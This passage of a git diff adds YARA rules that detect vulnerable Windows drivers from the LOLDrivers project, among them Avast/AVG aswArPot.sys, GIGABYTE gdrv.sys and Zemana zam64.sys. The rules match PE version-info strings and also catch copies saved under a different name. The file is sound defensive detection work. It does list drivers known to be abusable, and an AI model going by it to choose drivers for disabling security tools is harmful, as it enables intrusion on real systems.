+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000310031002c002000320030003100320020002d0020007700770077002e007400670073006f00660074002e00690074 } /* LegalCopyright CopyrightCTGSoftSaswwwtgsoftit */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_8CFD {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "8cfd5b2102fbc77018c7fe6019ec15f07da497f6d73c32a31f4ba07e67ec85d9"
+		date = "2023-06-14"
+		score = 40
+		id = "4affbef6-26ac-5087-a881-32fad34fd192"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription AVGantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0037002e0034003200340036002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0037002e0034003200340036002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310039002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_D5C4 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "d5c4ff35eaa74ccdb80c7197d3d113c9cd38561070f2aa69c0affe8ed84a77c9"
+		date = "2023-06-14"
+		score = 40
+		id = "9994e1c0-b86b-578d-8002-554584e1de2b"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription Avastantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0036002e0033003900370039002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0036002e0033003900370039002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Wj_Kprocesshacker_7021 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - kprocesshacker.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "70211a3f90376bbc61f49c22a63075d1d4ddd53f0aefa976216c46e6ba39a9f4"
+		date = "2023-06-14"
+		score = 40
+		id = "dd2a2bfd-12be-5cdb-8293-c51220015bd9"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004b00500072006f0063006500730073004800610063006b00650072 } /* FileDescription KProcessHacker */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0077006a00330032 } /* CompanyName wj */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0030 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004b00500072006f0063006500730073004800610063006b00650072 } /* ProductName KProcessHacker */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006b00700072006f0063006500730073006800610063006b00650072002e007300790073 } /* OriginalFilename kprocesshackersys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]004c006900630065006e00730065006400200075006e006400650072002000740068006500200047004e0055002000470050004c002c002000760033002e } /* LegalCopyright LicensedundertheGNUGPLv */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_76E8 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "76e807b6c0214e66455f09a8de8faad40b738982ca84470f0043de0290449524"
+		date = "2023-06-14"
+		score = 40
+		id = "2d26b107-7fcb-5acd-94e4-ed18c399ad66"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00320030002e0030002e0031003000300038 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00320030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100330020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Biostargroup_Iodriver_Biostariodriver_1D03 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - BS_HWMIO64_W10.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "1d0397c263d51e9fc95bcc8baf98d1a853e1c0401cd0e27c7bf5da3fba1c93a8"
+		date = "2023-06-14"
+		score = 40
+		id = "ea157129-3347-5ba0-a115-928b4aef345f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049002f004f00200049006e00740065007200660061006300650020006400720069007600650072002000660069006c0065 } /* FileDescription IOInterfacedriverfile */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00420049004f0053005400410052002000470072006f00750070 } /* CompanyName BIOSTARGroup */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002c00200030002c00200031003800300036002c00200032003200300030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002c00200030002c00200031003800300036002c00200032003200300030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0049002f004f0020006400720069007600650072 } /* InternalName IOdriver */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00420049004f005300540041005200200049002f004f0020006400720069007600650072 } /* ProductName BIOSTARIOdriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00420053005f00480057004d0049004f00360034005f005700310030002e007300790073 } /* OriginalFilename BSHWMIOWsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000310038002d0032003000310039002000420049004f0053005400410052002000470072006f00750070 } /* LegalCopyright CopyrightcBIOSTARGroup */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_E2E7 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "e2e79f1e696f27fa70d72f97e448081b1fa14d59cbb89bb4a40428534dd5c6f6"
+		date = "2023-06-14"
+		score = 40
+		id = "ec02c434-7918-5212-85f6-5ee417940b7c"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription AVGantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0034002e0034003200310031002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0034002e0034003200310031002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310039002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_5F69 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "5f69d6b167a1eeca3f6ac64785c3c01976ee7303171faf998d65852056988683"
+		date = "2023-06-14"
+		score = 40
+		id = "04fdd9f7-605b-54ee-849d-44a50ef732d2"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 } /* FileDescription IntelRNetworkAdapterDiagnosticDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 } /* CompanyName IntelCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0032002e00370020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0032002e0037 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* InternalName iQVWSYS */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 } /* ProductName IntelRiQVWSYS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* OriginalFilename iQVWSYS */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003600200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightCIntelCorporationAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_9679 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "9679758455c69877fce866267d60c39d108b495dca183954e4af869902965b3d"
+		date = "2023-06-14"
+		score = 40
+		id = "a1b5efd0-2dd2-5c54-86b6-12684d6ea56b"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f00770073002000780036003400200049002f004f0020006400720069007600650072 } /* FileDescription ElbyCDWindowsxIOdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* CompanyName ElaborateBytesAG */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200031002c00200031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f } /* InternalName ElbyCDIO */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 } /* ProductName CDRTools */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 } /* OriginalFilename ElbyCDIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003800200045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* LegalCopyright CopyrightCElaborateBytesAG */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_8137 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "8137ce22d0d0fc5ea5b174d6ad3506a4949506477b1325da2ccb76511f4c4f60"
+		date = "2023-06-14"
+		score = 40
+		id = "0e696bff-b5da-5116-a5a7-341b6c3098b8"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 } /* FileDescription ElbyCDWindowsNTXPIOdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* CompanyName ElaborateBytesAG */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200031002c00200030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f } /* InternalName ElbyCDIO */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 } /* ProductName CDRTools */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 } /* OriginalFilename ElbyCDIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003700200045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* LegalCopyright CopyrightCElaborateBytesAG */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_4DA0 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "4da08c0681fbe028b60a1eaf5cb8890bd3eba4d0e6a8b976495ddcd315e147ba"
+		date = "2023-06-14"
+		score = 40
+		id = "bde91bb0-9211-5fea-b725-d556c5a3ccc9"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription Avastantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0037002e0034003000310036002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0037002e0034003000310036002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
diff --git a/yara-Neo23x0/yara-rules_vuln_drivers_strict_renamed.yar b/yara-Neo23x0/yara-rules_vuln_drivers_strict_renamed.yar
new file mode 100644
index 0000000..5b11630
--- /dev/null
+++ b/yara-Neo23x0/yara-rules_vuln_drivers_strict_renamed.yar
@@ -0,0 +1,6831 @@
+
+rule PUA_VULN_Renamed_Driver_Cpuid_Cpuzsys_Cpuidservice_34BE {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "34bee22c18ddbddbe115cf1ab55cabf0e482aba1eb2c343153577fb24b7226d3"
+		hash = "5177a3b7393fb5855b2ec0a45d4c91660b958ee077e76e5a7d0669f2e04bcf02"
+		hash = "ee45fd2d7315fd039f3585a66e7855ba4af9d4721e1448e602623de14e932bbe"
+		hash = "bac709c49ddee363c8e59e515f2f632324a0359e932b7d8cb1ce2d52a95981aa"
+		date = "2023-06-14"
+		score = 70
+		id = "1dadf1a5-6eea-5d47-be5e-9c93bf23f49a"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 } /* FileDescription CPUIDDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 } /* CompanyName CPUID */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 } /* InternalName cpuzsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 } /* ProductName CPUIDservice */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 } /* OriginalFilename cpuzsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310037002000430050005500490044 } /* LegalCopyright CopyrightCCPUID */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /cpuz/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Zemanaltd_Zam_D7E0 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "d7e091e0d478c34232e8479b950c5513077b3a69309885cee4c61063e5f74ac0"
+		date = "2023-06-14"
+		score = 70
+		id = "c9596048-1bc9-5d4f-8c34-97494f2d4e9e"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d } /* FileDescription ZAM */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e } /* CompanyName ZemanaLtd */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e00310031002e0031002e003500310030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310031002e0031002e003500310030 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d } /* ProductName ZAM */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright ZemanaLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /zam64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Eldoscorporation_Elrawdsksys_Rawdisk_4744 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elrawdsk.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "4744df6ac02ff0a3f9ad0bf47b15854bbebb73c936dd02f7c79293a2828406f6"
+		hash = "5a826b4fa10891cf63aae832fc645ce680a483b915c608ca26cedbb173b1b80a"
+		date = "2023-06-14"
+		score = 70
+		id = "299e1312-e4ff-5152-a046-b020c825df5a"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200610077004400690073006b0020004400720069007600650072002e00200041006c006c006f00770073002000770072006900740065002000610063006300650073007300200074006f002000660069006c0065007300200061006e006400200072006100770020006400690073006b00200073006500630074006f0072007300200066006f0072002000750073006500720020006d006f006400650020006100700070006c00690063006100740069006f006e007300200069006e002000570069006e0064006f007700730020003200300030003000200061006e00640020006c0061007400650072002e } /* FileDescription RawDiskDriverAllowswriteaccesstofilesandrawdisksectorsforusermodeapplicationsinWindowsandlater */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c0064006f005300200043006f00720070006f0072006100740069006f006e } /* CompanyName EldoSCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002c00200031002c002000320037002c0020003100300036 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002c00200031002c002000320037002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0065006c00720061007700640073006b002e007300790073 } /* InternalName elrawdsksys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200610077004400690073006b } /* ProductName RawDisk */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0065006c00720061007700640073006b002e007300790073 } /* OriginalFilename elrawdsksys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300037002d0032003000310031002c00200045006c0064006f005300200043006f00720070006f0072006100740069006f006e0020 } /* LegalCopyright CopyrightCEldoSCorporation */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /elrawdsk/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Gigabytetechnologycoltd_Gdrvsys_Gigabytesoftwaredriver_81AA {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "81aafae4c4158d0b9a6431aff0410745a0f6a43fb20a9ab316ffeb8c2e2ccac0"
+		date = "2023-06-14"
+		score = 70
+		id = "0854ee57-7214-5959-86be-afd26950432c"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041002d00420059005400450020004e006f006e0050006e00500020004400720069007600650072 } /* FileDescription GIGABYTENonPnPDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004900470041002d004200590054004500200054004500430048004e004f004c004f0047005900200043004f002e002c0020004c00540044002e } /* CompanyName GIGABYTETECHNOLOGYCOLTD */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0031002e0030002e0031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 } /* InternalName gdrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0047004900470041002d004200590054004500200053006f0066007400770061007200650020006400720069007600650072 } /* ProductName GIGABYTESoftwaredriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 } /* OriginalFilename gdrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310037 } /* LegalCopyright CopyrightC */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /gdrv/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_F6CD {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "f6cd7353cb6e86e98d387473ed6340f9b44241867508e209e944f548b9db1d5f"
+		date = "2023-06-14"
+		score = 70
+		id = "e14e96ea-42e6-5946-9237-a16f9c072d2c"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 } /* FileDescription AMDRyzenMasterServiceDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 } /* CompanyName AdvancedMicroDevices */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 } /* InternalName AMDRyzenMasterDriversys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 } /* ProductName AMDRyzenMasterServiceDriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 } /* OriginalFilename AMDRyzenMasterDriversys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300031003700200041004d0044002c00200049006e0063002e } /* LegalCopyright CopyrightAMDInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /AMDRyzenMasterDriver/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_2594 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
